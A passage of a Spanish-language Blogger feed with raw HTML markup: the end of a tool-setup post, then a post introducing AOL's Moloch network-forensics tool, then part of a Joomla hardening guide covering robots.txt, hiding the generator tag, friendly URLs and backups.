src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbbLdbhyFGEWWZ-oxQdu9VT8asFz71051u59dk6LJowsCxy1P0bTIRUvQmcEKu3Kv4P1cT_jsbVTpPhDveY6kP3NzO2YFJD79OJ_1g5FQnbNLeIRi6C1swgPMDpPBuO5ynRFVwicO-mow/s1600/install.png" height="472" width="640" /></a></div> <br /> <br /> Al igual que en linux entraremos a la interfaz web:<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFNypBbWCmFwPuF6c_60Di_jULj8Y2dC6hEHGUFchkJaqq5cLxq5Yj_KWJzA9sGJkeNIoAurg6r425lABDX2Gae3z5e4CmHSTz7ZTVuz0CxUkvSwrjQGhFl-8yOMIOk_ZbUdC6yvRAotU/s1600/webuiwin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFNypBbWCmFwPuF6c_60Di_jULj8Y2dC6hEHGUFchkJaqq5cLxq5Yj_KWJzA9sGJkeNIoAurg6r425lABDX2Gae3z5e4CmHSTz7ZTVuz0CxUkvSwrjQGhFl-8yOMIOk_ZbUdC6yvRAotU/s1600/webuiwin.png" height="198" width="640" /></a></div> el cual igualmente nos llevara al mismo formulario en la url: <b>localhost:3790/users/new</b><br /> <b><br /></b> <b><br /></b> <br /></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-58945211170629841302014-11-07T12:11:00.000-05:002014-11-07T12:12:07.718-05:00<div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> La empresa AOL ha hecho publica una herramienta de análisis de trafico de red al parecer versátil en modo Open Souce. se trata de <b>Moloch</b></div> <br style="background-color: white; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px;" /> <div class="separator" style="background-color: white; border: 0px; clear: both; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB2zeLJ0pkOUImiiHZ5zMFqcRBmgB9mE3HvQufYT_BNqjaWjzYvVblh2Mia4y8X4FjD8V_ePcLfElJi2Y0vVNu7Dsg14qLgizqQ2IhHVDQMrpJnNwYYZXjbv1TPKz8XjSp5i2qSLiU_Ag/s1600/moloch-logo.png" imageanchor="1" style="border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px 1em; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB2zeLJ0pkOUImiiHZ5zMFqcRBmgB9mE3HvQufYT_BNqjaWjzYvVblh2Mia4y8X4FjD8V_ePcLfElJi2Y0vVNu7Dsg14qLgizqQ2IhHVDQMrpJnNwYYZXjbv1TPKz8XjSp5i2qSLiU_Ag/s1600/moloch-logo.png" height="236" style="border: 0px; margin: 0px;" width="320" /></a></div> <br style="background-color: white; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px;" /> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> Se que a muchos les parecerá una herramienta mas. qué nos aporta frente a otras herramientas como Wireshark?</div> <br style="background-color: white; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px;" /> <ul style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 19.5px; list-style: none; margin: 0.4em 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline;"> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">Se utiliza y gestiona vía web</li> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">Está muy enfocado al análisis forense, por lo que hay disponibles plugins muy concretos para dichos menesteres (como por ejemplo, Geolocalización de tramas, reglas de Yara...)</li> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">Facilidad para la búsqueda e indexado de información dentro de las capturas de red</li> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">Posibilidad de crear GUIs propias debido a que hay disponible una API para todo el mostrado de información</li> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">Para el análisis en tiempo real, es posible disponer de una arquitectura distribuida sobre la que mantener sus componentes (bases de datos, indexados, visor de eventos...) y almacenar capturas de tráfico para su posible investigación futura.</li> </ul> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> Sobre los componentes de esta herramienta, tendremos los siguientes:</div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> <ol style="border: 0px; font-style: inherit; font-weight: inherit; line-height: 19.5px; list-style: none; margin: 0.4em 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline;"> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: decimal; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><b>capture</b>&nbsp;- el elemento (escrito en C) que nos permitirá capturar tráfico directamente desde la fuente por cada interfaz de red de la que nos interese obtener información.</li> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: decimal; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><b>viewer</b>&nbsp;- aplicación en node.js que se ejecuta por cada máquina en red y que mantiene la interfaz web y la transferencia de ficheros PCAP.</li> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: decimal; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><b>elasticsearch</b>&nbsp;- tecnología de base de datos que nos facilitará la tarea de búsqueda de información.</li> </ol> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); font-style: inherit; font-weight: inherit; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;"><tbody style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); color: #555555; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOfEcqoN2q4YdpSUvvrIr96W2BxDgDbwpmOLonYDPeRo4hXD1z-wKF-jVbT0WoPX6usiiyoMvf_f-Ey7w9oCEADBuaifADZIKJoXkHmbzzzSqiGuDS9lZEjCh7eXfHGMWyb6l6qAB7p30/s1600/arch-moloch.png" imageanchor="1" style="border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOfEcqoN2q4YdpSUvvrIr96W2BxDgDbwpmOLonYDPeRo4hXD1z-wKF-jVbT0WoPX6usiiyoMvf_f-Ey7w9oCEADBuaifADZIKJoXkHmbzzzSqiGuDS9lZEjCh7eXfHGMWyb6l6qAB7p30/s1600/arch-moloch.png" height="480" style="border: 0px; margin: 0px;" width="640" /></a></td></tr> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td class="tr-caption" style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); color: #555555; font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;">Ejemplo simple de arquitectura para Moloch</td></tr> </tbody></table> <div style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> <br /></div> </div> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;"><tbody style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq259ctBvdzl5zEMh4bv-n4sokBqHo5xa5BeC7YYpjTtn0kQF4NMACq7AS8oBzAUJdYl_2OEp32cE0t3Bd4DD_iyKM3-xZr7WJirGphSdv1r7VI4uD_RwIIfHrSaNwncB6Bi_v0nw08hk/s1600/moloch-0.8.png" imageanchor="1" style="border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq259ctBvdzl5zEMh4bv-n4sokBqHo5xa5BeC7YYpjTtn0kQF4NMACq7AS8oBzAUJdYl_2OEp32cE0t3Bd4DD_iyKM3-xZr7WJirGphSdv1r7VI4uD_RwIIfHrSaNwncB6Bi_v0nw08hk/s1600/moloch-0.8.png" height="444" style="border: 0px; margin: 0px;" width="640" /></a></td></tr> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td class="tr-caption" style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;">Interfaz de la versión 0.8.0 de Moloch</td></tr> </tbody></table> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <br /> Gracias a la interfaz, tendremos diferentes visualizaciones que nos facilitarán la tarea en la investigación, como es el caso del modo "Connections", el cual mediante un grafo nos visualizará relaciones entre los elementos involucrados, o el visor "SPI View" con el que podemos filtrar la información en base a multitud de criterios y elementos procesados.</div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <br /></div> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;"><tbody style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlDbMUDbpFjHufVHdkbH2FEHDE10mxcV-qc1mpgwUAWuL5wdekaipeI2tWrSvVkktMHiGGj4fxlV6dgbajjr_FCtuIsoIlMPizCkeSZ6TQVVOPColtjMR6p5ctOP7fyYJ-RGyvxTNHybE/s1600/moloch-connections.png" imageanchor="1" style="border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlDbMUDbpFjHufVHdkbH2FEHDE10mxcV-qc1mpgwUAWuL5wdekaipeI2tWrSvVkktMHiGGj4fxlV6dgbajjr_FCtuIsoIlMPizCkeSZ6TQVVOPColtjMR6p5ctOP7fyYJ-RGyvxTNHybE/s1600/moloch-connections.png" height="504" style="border: 0px; margin: 0px;" width="640" /></a></td></tr> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td class="tr-caption" style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;">Visualizador de conexiones según búsqueda realizada en base de datos de tráfico en Moloch</td></tr> </tbody></table> <br style="background-color: white; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px;" /> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;"><tbody style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVbF9aC9D7dDnPRWacFtjkioptB-aNJa3CFI7Fl7ctzK97GA_Tx96c2idu3r4e7gUbN3K0Wx_bqPTyldhZgVXHOsgsVxFT8ASflyQY2MR8niSXCgv3Lv4qmTOXNh51EY5521x_2cvFds4/s1600/moloch-spiviews.png" imageanchor="1" style="border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVbF9aC9D7dDnPRWacFtjkioptB-aNJa3CFI7Fl7ctzK97GA_Tx96c2idu3r4e7gUbN3K0Wx_bqPTyldhZgVXHOsgsVxFT8ASflyQY2MR8niSXCgv3Lv4qmTOXNh51EY5521x_2cvFds4/s1600/moloch-spiviews.png" height="362" style="border: 0px; margin: 0px;" width="640" /></a></td></tr> <tr style="border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td class="tr-caption" style="background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;">Vista SPI con filtrado e indexado de información almacenada en capturas de tráfico</td></tr> </tbody></table> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <br /> Sin duda una herramienta a tener en cuenta, que nos permitirá llevar el análisis de tráfico a un nuevo nivel, y nos dará más visibilidad en nuestras tareas diarias en las que necesitemos investigar actividad de red de una manera ágil e intuitiva.</div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <br /></div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> Si quieres&nbsp;<b>probar la herramienta de manera online a modo de demo</b>, podrás acceder a la siguiente URL:</div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <ul style="border: 0px; font-style: inherit; font-weight: inherit; line-height: 19.5px; list-style: none; margin: 0.4em 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline;"> <li style="border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; vertical-align: baseline;"><b><a href="https://moloch.wow.com/" style="border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;">https://moloch.wow.com/</a></b></li> </ul> </div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> utilizando&nbsp;<b>moloch/moloch</b>&nbsp;como credenciales.</div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <br /></div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> Podra descargar el proyecto desde la siguiente url</div> <div style="background-color: white; border: 0px; color: #555555; font-family: 'Helevtica Neue', Arial, 'Century gothic', sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <b><a href="https://github.com/aol/moloch" style="border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;">Página del proyecto moloch de AOL</a></b></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-63793128064216059352014-11-04T16:22:00.002-05:002014-11-04T16:22:34.708-05:00Continuando con la plantilla de aseguramiento de CMS Joomla<br /> Leer la&nbsp;<a href="http://antoniojorz.blogspot.com/2014/10/hardening-cms-joomla-centos-parte1.html" target="_blank">#Parte1</a><br /> <br /> <b style="text-align: justify;"><span style="font-size: large;">6.6<span class="Apple-tab-span" style="white-space: pre;"> </span>Robots</span></b><br /> <b style="text-align: justify;"><span style="font-size: large;"><br /></span></b> Generalmente, una vez que se implementa un sitio web y se pone en producción, el siguiente paso es la promoción. Ésta generalmente se realiza añadiendo el dominio en los buscadores más populares y aplicando ciertas técnicas (SEO y SEM) para hacer que nuestra página sea mostrada en los primeros puestos de las búsquedas. Para facilitar el rastreo e indexación por los crawlers (arañas o robots de los motores de búsqueda) se debe configurar adecuadamente el archivo robots.txt. A través de este fichero, mediante una serie de directivas, le indicaremos al crawler qué páginas puede indexar el buscador y cuáles no. Por lo general no nos interesa que el buscador añada las páginas de administración, configuración, etc. La última versión de Joomla por defecto genera en la carpeta raíz del sitio web un archivo robots.txt:<br /> <div style="text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCRiSAIeERj0jT_oYyZtpexi1NYKx0IWE2_pr9yPGnoVQSs0h_xk6CMwDXGmwKUG2SfjnQC3TKi7RinmCCIBYYBeurXzSIbeIGlpp014png-o7vDYH2Pbh86r4cvt6Q_xR82-a1uKzjOw/s1600/robots.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCRiSAIeERj0jT_oYyZtpexi1NYKx0IWE2_pr9yPGnoVQSs0h_xk6CMwDXGmwKUG2SfjnQC3TKi7RinmCCIBYYBeurXzSIbeIGlpp014png-o7vDYH2Pbh86r4cvt6Q_xR82-a1uKzjOw/s1600/robots.png" height="165" width="320" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Que tiene la siguiente configuración:<br /> <br /></div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"><span id="lnum1" style="color: #606060;"> 1:</span> Disallow: /administrator/ <span style="color: #606060;"> 2: </span>Disallow: /cache/ <span style="color: #606060;"> 3: </span>Disallow: /cli/ <span style="color: #606060;"> 4:</span> Disallow: /components/ <span style="color: #606060;"> 5: </span>Disallow: /images/ <span style="color: #606060;"> 6: </span>Disallow: /includes/ <span style="color: #606060;"> 7: </span>Disallow: /installation/ <span style="color: #606060;"> 8: </span>Disallow: /language/ <span style="color: #606060;"> 9: </span>Disallow: /libraries/ <span style="color: #606060;"> 10: </span>Disallow: /logs/ <span style="color: #606060;"> 11: </span>Disallow: /media/ <span style="color: #606060;"> 12: </span>Disallow: /modules/ <span style="color: #606060;"> 13: </span>Disallow: /plugins/ <span style="color: #606060;"> 14: </span>Disallow: /templates/ <span style="color: #606060;"> 15: </span>Disallow: /tmp/</pre> </div> <div> <!--CRLF--></div> </div> <br /> Inicialmente es una configuración válida siempre que se cumplan nuestras necesidades. Si queremos añadir un nuevo directorio o ruta a proteger contra la indexación de los buscadores, la incluiremos en la lista.<br /> <br /> <b style="text-align: justify;"><span style="font-size: large;"><span class="Apple-tab-span">7</span><span class="Apple-tab-span" style="white-space: pre;"> </span>Eliminar Meta Generator de Joomla</span></b><br /> <b style="text-align: justify;"><span style="font-size: large;"><br /></span></b> <span style="text-align: justify;">Joomla por defecto genera en el código fuente de las web una etiqueta como la siguiente:</span><br /> <span style="text-align: justify;"><b><br /></b></span> <span style="text-align: justify;"><b>&lt; meta name="generator" content="Joomla! - Open Source Content Management" / &gt;</b></span><br /> <br /> Esto revela la plataforma bajo la cual se encuentra desarrollada la web.<br /> <br /> Para esto vamos a modificar el contenido a mostrar, el siguiente ejemplo está basado en Joomla <b>3.0.X.</b><br /> Nos dirigimos al archivo <b>“index.php”</b> de la plantilla instalada y usada en el gestor Joomla<br /> Ejemplo:<br /> <b><br /></b> <b>“/var/www/html/masa/templates/xxx_xxx”</b><br /> <br /> En el buscaremos e insertamos el siguiente código<br /> <div> <br /></div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"><span id="lnum1" style="color: #606060;"> 1:</span> <span style="color: blue;">// Ocultar Generator Tag</span></pre> <pre style="background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"><span id="lnum2" style="color: #606060;"> 2:</span> $this-&gt;setGenerator(null);</pre> <!--CRLF--></div> </div> <br /> <b style="text-align: justify;"><span style="font-size: large;"><span class="Apple-tab-span">8</span><span class="Apple-tab-span" style="white-space: pre;"> </span>URL'S Amigables</span></b><br /> <b style="text-align: justify;"><span style="font-size: large;"><br /></span></b> <div style="text-align: justify;"> El usar URL amigables es una gran ayuda para el aseguramiento de Joomla ya que si se deja la opción que trae por defecto el gestor de contenido Joomla genera códigos arbitrarios que pueden llegar a presentar una vulnerabilidad.</div> <span style="text-align: justify;"></span><br /> <div style="text-align: justify;"> Para esto en primer lugar cambiaremos las opciones &nbsp;por defecto en la &nbsp;configuración global de Joomla.</div> <div style="text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0vfR5bt-BuqecY1Kg_RAK4eujY09DIa8FThH_yK7JkB6wvRRgOmZiI5n4yr7Q0Rq7MnoWa_pDU4AYLqAcqJQkyxGo5zoGCdvPpEMx-qF8FUzjLJX1m1gWW5lRwtV1Oyyhkoc0fexf07k/s1600/Url-amigables.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0vfR5bt-BuqecY1Kg_RAK4eujY09DIa8FThH_yK7JkB6wvRRgOmZiI5n4yr7Q0Rq7MnoWa_pDU4AYLqAcqJQkyxGo5zoGCdvPpEMx-qF8FUzjLJX1m1gWW5lRwtV1Oyyhkoc0fexf07k/s1600/Url-amigables.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> Para que surga efecto deberiamos haber ya renombrado el archivo <b>htaccess.txt &nbsp;a .htaccess.</b> y el archivo <b>web.config.txt a web.config.</b></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <b><span style="font-size: large;"><span class="Apple-tab-span">9</span><span class="Apple-tab-span" style="white-space: pre;"> </span>Respaldo de&nbsp;</span></b><span style="font-size: large;"><b>información</b></span></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> Como todo sistema este no es la excepción y se debe contar con respaldo de la información de la carpeta del sitio como de la base de datos del mismo para cambio de versiones entre otras acciones.</div> <div class="separator" style="clear: both; text-align: justify;"> para esto existen diversos modulos y/o Plugins o bien siempre existira ftp y un script.</div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <b><span style="font-size: large;"><span class="Apple-tab-span">10</span><span class="Apple-tab-span"> <span style="white-space: pre;">Extensiones de tercero</span></span></span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Uno de los aspectos más atractivos de los gestores de contenidos y por lo tanto de Joomla es que mediante extensiones, plugins o módulos es posible ampliar las funcionalidades del sitio web que se implemente sobre esta plataforma.</div> <div style="text-align: 